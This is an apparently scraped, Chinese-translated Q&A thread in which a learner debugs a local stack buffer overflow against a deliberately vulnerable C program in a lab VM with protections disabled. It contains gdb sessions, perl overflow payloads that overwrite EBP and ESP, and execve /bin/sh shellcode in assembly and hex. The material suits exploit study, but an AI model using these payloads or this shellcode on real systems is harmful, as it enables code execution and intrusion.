【问题标题】:Problems to put the shellcode into an easy program将 shellcode 放入简单程序的问题
【发布时间】:2021-10-28 15:44:48
【问题描述】:

我想控制 EBP 和 ESP 到最后,当程序执行 ret 时,EIP 将寻址到一个 shellcode,但我有一个问题。程序是这样的:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int limit,c;
int getebp()
{
        __asm__("movl %ebp, %eax");
}

int proc(char *nombre)
{
    int *i;
    char buffer[256];
    i = (int *) getebp();
    limit = *i - (int)buffer + 4;
    for (c = 0; c < limit && nombre[c] != '\0'; c++)
        buffer[c] = nombre[c];
    printf("\nEncantado de conocerte: %s\n", buffer);
    return 0;
}


int main(int argc, char **argv[])
{
    if (argc < 2) {
        printf("\nUso: %s <nombre>\n", argv[0]);
        exit(0);
        }
        proc(argv[1]);
    return 0;
}

proc的代码汇编是这样的:

(gdb) disass proc
Dump of assembler code for function proc:
   0x0804840b <+0>:     push   ebp
   0x0804840c <+1>:     mov    ebp,esp
   0x0804840e <+3>:     sub    esp,0x128
   0x08048414 <+9>:     call   0x8048404 <getebp>
   0x08048419 <+14>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804841c <+17>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804841f <+20>:    mov    edx,DWORD PTR [eax]
   0x08048421 <+22>:    lea    eax,[ebp-0x10c]
   0x08048427 <+28>:    mov    ecx,edx
   0x08048429 <+30>:    sub    ecx,eax
   0x0804842b <+32>:    mov    eax,ecx
   0x0804842d <+34>:    add    eax,0x4
   0x08048430 <+37>:    mov    ds:0x8049828,eax
   0x08048435 <+42>:    mov    DWORD PTR ds:0x804982c,0x0
   0x0804843f <+52>:    jmp    0x8048466 <proc+91>
   0x08048441 <+54>:    mov    eax,ds:0x804982c
   0x08048446 <+59>:    mov    edx,DWORD PTR ds:0x804982c
   0x0804844c <+65>:    add    edx,DWORD PTR [ebp+0x8]
   0x0804844f <+68>:    movzx  edx,BYTE PTR [edx]
   0x08048452 <+71>:    mov    BYTE PTR [ebp+eax*1-0x10c],dl
   0x08048459 <+78>:    mov    eax,ds:0x804982c
   0x0804845e <+83>:    add    eax,0x1
   0x08048461 <+86>:    mov    ds:0x804982c,eax
   0x08048466 <+91>:    mov    edx,DWORD PTR ds:0x804982c
   0x0804846c <+97>:    mov    eax,ds:0x8049828
   0x08048471 <+102>:   cmp    edx,eax
   0x08048473 <+104>:   jge    0x8048484 <proc+121>
   0x08048475 <+106>:   mov    eax,ds:0x804982c
   0x0804847a <+111>:   add    eax,DWORD PTR [ebp+0x8]
   0x0804847d <+114>:   movzx  eax,BYTE PTR [eax]
   0x08048480 <+117>:   test   al,al
   0x08048482 <+119>:   jne    0x8048441 <proc+54>
   0x08048484 <+121>:   mov    eax,0x80485c0
   0x08048489 <+126>:   lea    edx,[ebp-0x10c]
   0x0804848f <+132>:   mov    DWORD PTR [esp+0x4],edx
   0x08048493 <+136>:   mov    DWORD PTR [esp],eax
   0x08048496 <+139>:   call   0x8048300 <printf@plt>
   0x0804849b <+144>:   mov    eax,0x0
   0x080484a0 <+149>:   leave
   0x080484a1 <+150>:   ret
End of assembler dump.

和main的代码汇编:

(gdb) disass main
Dump of assembler code for function main:
   0x080484a2 <+0>:     push   ebp
   0x080484a3 <+1>:     mov    ebp,esp
   0x080484a5 <+3>:     and    esp,0xfffffff0
   0x080484a8 <+6>:     sub    esp,0x10
   0x080484ab <+9>:     cmp    DWORD PTR [ebp+0x8],0x1
   0x080484af <+13>:    jg     0x80484d3 <main+49>
   0x080484b1 <+15>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484b4 <+18>:    mov    edx,DWORD PTR [eax]
   0x080484b6 <+20>:    mov    eax,0x80485dd
   0x080484bb <+25>:    mov    DWORD PTR [esp+0x4],edx
   0x080484bf <+29>:    mov    DWORD PTR [esp],eax
   0x080484c2 <+32>:    call   0x8048300 <printf@plt>
   0x080484c7 <+37>:    mov    DWORD PTR [esp],0x0
   0x080484ce <+44>:    call   0x8048320 <exit@plt>
   0x080484d3 <+49>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484d6 <+52>:    add    eax,0x4
   0x080484d9 <+55>:    mov    eax,DWORD PTR [eax]
   0x080484db <+57>:    mov    DWORD PTR [esp],eax
   0x080484de <+60>:    call   0x804840b <proc>
   0x080484e3 <+65>:    mov    eax,0x0
   0x080484e8 <+70>:    leave
   0x080484e9 <+71>:    ret
End of assembler dump.

好的,我知道用 272 Aes 覆盖 EBP,所以:

vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+149
Breakpoint 1 at 0x80484a0
(gdb) r `perl -e 'print "A" x272 '`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A" x272 '`

Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒

Breakpoint 1, 0x080484a0 in proc ()
(gdb) x/16x $esp
0xbffff4c0:     0x080485c0      **0xbffff4dc**      0xb7fdc470      0x00000003
0xbffff4d0:     0xbffff500      0x07b1ea71      0xf63d4e2e      0x41414141
0xbffff4e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) q

而且我知道缓冲区的初始化方向是0xbffff4dc,所以:

vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *main+70
Breakpoint 1 at 0x80484e8
(gdb) r `perl -e 'print "A"x268 . "\xd8\xf4\xff\xbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A"x268 . "\xd8\xf4\xff\xbf"'`

Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒

Breakpoint 1, 0x080484e8 in main ()
(gdb) i r ebp
ebp            0xbffff4d8       0xbffff4d8
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) c
Continuing.

Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp            0xbffff4dc       0xbffff4dc
(gdb) x/x $esp
0xbffff4dc:     0x41414141

好的,听起来不错,我必须控制 ESP。现在我想将 shellcode 进一步移动 4 个字节。所以:

vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "\xd8\xf4\xff\xbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "\xd8\xf4\xff\xbf"'`

Encantado de conocerte: ▒▒▒▒▒^▒1▒F▒F
▒
 ▒▒▒V
▒1ۉ▒@̀▒▒▒▒▒/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒

Breakpoint 1, 0x080484a1 in proc ()
(gdb) i r ebp
ebp            0xbffff4d8       0xbffff4d8
(gdb) c
Continuing.

Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp            0xbffff4dc       0xbffff4dc
(gdb) x/x $esp
0xbffff4dc:     0xbffff4e0    
(gdb) x/16x $esp
0xbffff4dc:     0xbffff4e0      0x895e1feb      0xc0310876      0x89074688
0xbffff4ec:     0x0bb00c46      0x4e8df389      0x0c568d08      0x89db3180
0xbffff4fc:     0x80cd40d8      0xffffdce8      0x69622fff      0x68732f6e
0xbffff50c:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) q

!!WTF!!为什么?现在有 ESP 地址到 0xbffff4e0 ???程序是这样编译的:

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack $1 -o $2

我已经重新编写了我的 shellcode,(/tmp/binsh):

cat binsh.asm

section .text
global _start
_start:
xor eax, eax
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80

objdump:

objdump -d binsh

binsh:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       50                      push   %eax
 8048063:       68 2f 2f 73 68          push   $0x68732f2f
 8048068:       68 2f 62 69 6e          push   $0x6e69622f
 804806d:       89 e3                   mov    %esp,%ebx
 804806f:       50                      push   %eax
 8048070:       53                      push   %ebx
 8048071:       89 e1                   mov    %esp,%ecx
 8048073:       b0 0b                   mov    $0xb,%al
 8048075:       cd 80                   int    $0x80

基本上我做到了,

echo /bin > bin
echo //sh > sh

and then, I got their hexdump values: 6e69622f and 68732f2f
Works fine:
```vagrant@precise32:/tmp$ ./binsh
$

【问题讨论】:

  • 你为什么要问Why? ESP就像之前在Breakpoint 20xbffff4dc,而栈顶的值是0xbffff4e0,正如所料正是perl -e 'print "\xe0\xf4\xff\xbf"' 放置在缓冲区开头的内容。
  • 嗯...好的,好的,我明白了。非常感谢。当我继续时,程序应该收到一个 shellcode,但是收到一个 SIGILL,非法指令:“程序收到信号 SIGILL,非法指令。”可能是被堆栈阻塞了?我在没有保护的情况下编译,我使用了没有 ASLR 的 gcc v2 和 Ubuntu 12.04.04
  • SIGILL 听起来不像执行被阻止,而是像 :-) 非法指令。信号在哪个指令指针上报告?

标签: debugging gdb reverse-engineering exploit stack-smash


【解决方案1】:

当我继续时,程序应该收到一个 shellcode,但是收到一个 SIGILL...

似乎从/tmp/sc 加载的代码是错误的。你应该通过从 0xbffff4e0 反汇编来看看它有什么问题,例如。 G。 x/20i 0xbffff4e0.

【讨论】:

    【解决方案2】:

    最近,我已经使用该命令构建了我的 shellcode:

    echo `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x76\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80/bin/sh";'` > binsh5
    

    所以,我想知道发生了什么。当我执行完整指令时:

    r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/binsh5``perl -e 'print "A"x234 . "\xd8\xf4\xff\xbf"'`
    

    我控制了 ESP 和 EBP:

    (gdb) i r ebp
    ebp            0xbffff4d8       0xbffff4d8
    (gdb) c
    Continuing.
    
    Breakpoint 2, 0x080484e9 in main ()
    (gdb) i r esp
    esp            0xbffff4dc       0xbffff4dc
    (gdb) x/x $esp
    0xbffff4dc:     0xbffff4e0
    (gdb) c
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    0xbffff4f8 in ?? ()
    

    但是我得到了一个 SIGSEGV。如果我看到这个地址:

    (gdb) x/20i 0xbffff4f8
    => 0xbffff4f8:  bound  ebp,QWORD PTR [ecx+0x6e]
       0xbffff4fb:  das
       0xbffff4fc:  jae    0xbffff566
       0xbffff4fe:  inc    ecx
       0xbffff4ff:  inc    ecx
       0xbffff500:  inc    ecx
       0xbffff501:  inc    ecx
       0xbffff502:  inc    ecx
       0xbffff503:  inc    ecx
       0xbffff504:  inc    ecx
       0xbffff505:  inc    ecx
       0xbffff506:  inc    ecx
       0xbffff507:  inc    ecx
       0xbffff508:  inc    ecx
       0xbffff509:  inc    ecx
       0xbffff50a:  inc    ecx
       0xbffff50b:  inc    ecx
       0xbffff50c:  inc    ecx
       0xbffff50d:  inc    ecx
       0xbffff50e:  inc    ecx
    

    我想知道问题所在:

    08048060 <_start>:
     8048060:       31 c0                   xor    %eax,%eax
     8048062:       50                      push   %eax
     8048063:       68 2f 2f 73 68          push   $0x68732f2f
     8048068:       68 2f 62 69 6e          **push   $0x6e69622f**
     804806d:       89 e3                   mov    %esp,%ebx
     804806f:       50                      push   %eax
     8048070:       53                      push   %ebx
     8048071:       89 e1                   mov    %esp,%ecx
     8048073:       b0 0b                   mov    $0xb,%al
     8048075:       cd 80                   int    $0x80
    

    我认为粗体的指令没有被完全推送。似乎 shellcode 像这样推入堆栈:

    2F        das
    62 69 6E  bound  ebp,QWORD PTR [ecx+0x6e]
    

    我想我已经找到了问题,但现在我不知道如何解决。

    【讨论】:

      【解决方案3】:

      你是对的。 /tmp/sc 没有执行代码。我已经重新完成了我的 shellcode,我知道没关系,如果我输入:/tmp/binsc 我得到了 shellcode。但是现在,程序什么也不做,我终于要Ctrl+C了。

      (gdb) b *proc+150
      Breakpoint 1 at 0x80484a1
      
      (gdb) b *main+71
      Breakpoint 2 at 0x80484e9
      
      (gdb) r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/binsh``perl -e 'print "A"x204 . "\xd8\xf4\xff\xbf"'`
      
      
      
      ^C
      During startup program terminated with signal SIGINT, Interrupt.
      (gdb)
      

      【讨论】:

      • 如果您将/tmp/binsh 的内容添加到问题帖子中可能会有所帮助。
      • 好的,我已经用 shellcode 的内容更新了问题帖
      • 文件binsh 不仅包含来自section .text 的shell 代码,还包含之前的ELF 标头等;除了代码之外,您不想将其他信息传递给程序,对吗?如果没有,则不能使用cat /tmp/binsh
      猜你喜欢
      • 2012-08-10
      • 2011-05-06
      • 1970-01-01
      • 1970-01-01
      • 2022-01-01
      • 2014-05-12
      • 1970-01-01
      • 2022-01-17
      • 1970-01-01
      相关资源
      最近更新 更多